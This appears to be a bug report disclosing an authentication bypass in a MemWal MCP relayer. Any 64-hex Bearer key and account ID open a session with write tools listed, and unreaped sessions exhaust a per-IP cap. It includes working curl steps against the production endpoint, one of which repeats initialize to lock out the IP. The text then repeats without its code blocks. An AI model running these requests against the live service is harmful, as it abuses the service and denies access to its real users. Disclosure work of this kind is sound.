Bug
https://relayer.memory.walrus.xyz/api/mcp (Streamable HTTP) is advertised as OAuth-protected. Unauthenticated requests get 401 plus WWW-Authenticate: Bearer resource_metadata=....
If Authorization is Bearer plus any 64-character hex string, and X-MemWal-Account-Id is any 0x + 64 hex chars, the relayer treats the caller as a legacy delegate-key client and the sidecar opens a real MCP session.
Nothing checks that the key is a registered delegate, that the account object exists, or that an OAuth token was issued. The session is given the full tool set (memwal_remember, memwal_remember_bulk, memwal_analyze, memwal_restore, memwal_recall, memwal_health).
Streamable HTTP sessions stay in memory until DELETE /api/mcp or a sidecar restart. There is no idle timeout. Each leftover session holds an ip_active_cap slot (default 16 per IP). Repeating initialize without DELETE eventually returns 429 with MCP rate limit: ip_active_cap and blocks further MCP use from that IP, including real clients.
Writes/recalls still fail later on the signed relayer API (401) because the key is not on-chain. The MCP layer itself has already accepted the session, listed write tools, and served memwal_health.
Relevant code:
- Relayer classifies a 64-hex Bearer as a legacy delegate and skips OAuth (
services/server/src/mcp_proxy.rs, is_legacy_delegate_bearer / classify_and_resolve).
- That path stamps full read+write scope (
apply_internal_headers when identity is None).
- Sidecar
resolveAuth only checks header shape (services/server/scripts/mcp/auth.ts).
- Streamable sessions are stored until
DELETE (services/server/scripts/mcp/index.ts); no idle reap.
How to reproduce
Against production (or any relayer with MCP + OAuth enabled):
KEY=$(python3 -c 'print("11"*32)')
ACCT="0x$(python3 -c 'print("22"*32)')'
# 1) initialize — expect HTTP 200 and an mcp-session-id
curl -sS -D - -X POST "https://relayer.memory.walrus.xyz/api/mcp" \
-H "Authorization: Bearer $KEY" \
-H "X-MemWal-Account-Id: $ACCT" \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"repro","version":"0"}}}'
Copy mcp-session-id from the response headers, then:
SID='<mcp-session-id from step 1>'
# 2) tools/list — expect all six memwal_* tools, including writes
curl -sS -X POST "https://relayer.memory.walrus.xyz/api/mcp" \
-H "Authorization: Bearer $KEY" \
-H "X-MemWal-Account-Id: $ACCT" \
-H "mcp-session-id: $SID" \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'
# 3) memwal_health — expect a successful tool result (relayer /health is public)
curl -sS -X POST "https://relayer.memory.walrus.xyz/api/mcp" \
-H "Authorization: Bearer $KEY" \
-H "X-MemWal-Account-Id: $ACCT" \
-H "mcp-session-id: $SID" \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"memwal_health","arguments":{}}}'
To see the cap:
# 4) Repeat step 1 ~16 times without DELETE.
# Later initialize calls return:
# HTTP 429
# {"jsonrpc":"2.0","error":{"code":-32000,"message":"MCP rate limit: ip_active_cap. Try again in 30s."},"id":null}
Cleanup for any sessions you opened:
curl -sS -X DELETE "https://relayer.memory.walrus.xyz/api/mcp" \
-H "Authorization: Bearer $KEY" \
-H "X-MemWal-Account-Id: $ACCT" \
-H "mcp-session-id: $SID"
Observed on https://relayer.memory.walrus.xyz/api/mcp (relayer version 0.1.0, serverInfo.version 0.0.1).
Bug
https://relayer.memory.walrus.xyz/api/mcp(Streamable HTTP) is advertised as OAuth-protected. Unauthenticated requests get401plusWWW-Authenticate: Bearer resource_metadata=....If
AuthorizationisBearerplus any 64-character hex string, andX-MemWal-Account-Idis any0x+ 64 hex chars, the relayer treats the caller as a legacy delegate-key client and the sidecar opens a real MCP session.Nothing checks that the key is a registered delegate, that the account object exists, or that an OAuth token was issued. The session is given the full tool set (
memwal_remember,memwal_remember_bulk,memwal_analyze,memwal_restore,memwal_recall,memwal_health).Streamable HTTP sessions stay in memory until
DELETE /api/mcpor a sidecar restart. There is no idle timeout. Each leftover session holds anip_active_capslot (default 16 per IP). RepeatinginitializewithoutDELETEeventually returns429withMCP rate limit: ip_active_capand blocks further MCP use from that IP, including real clients.Writes/recalls still fail later on the signed relayer API (
401) because the key is not on-chain. The MCP layer itself has already accepted the session, listed write tools, and servedmemwal_health.Relevant code:
services/server/src/mcp_proxy.rs,is_legacy_delegate_bearer/classify_and_resolve).apply_internal_headerswhenidentityisNone).resolveAuthonly checks header shape (services/server/scripts/mcp/auth.ts).DELETE(services/server/scripts/mcp/index.ts); no idle reap.How to reproduce
Against production (or any relayer with MCP + OAuth enabled):
Copy
mcp-session-idfrom the response headers, then:To see the cap:
Cleanup for any sessions you opened:
Observed on
https://relayer.memory.walrus.xyz/api/mcp(relayerversion0.1.0,serverInfo.version0.0.1).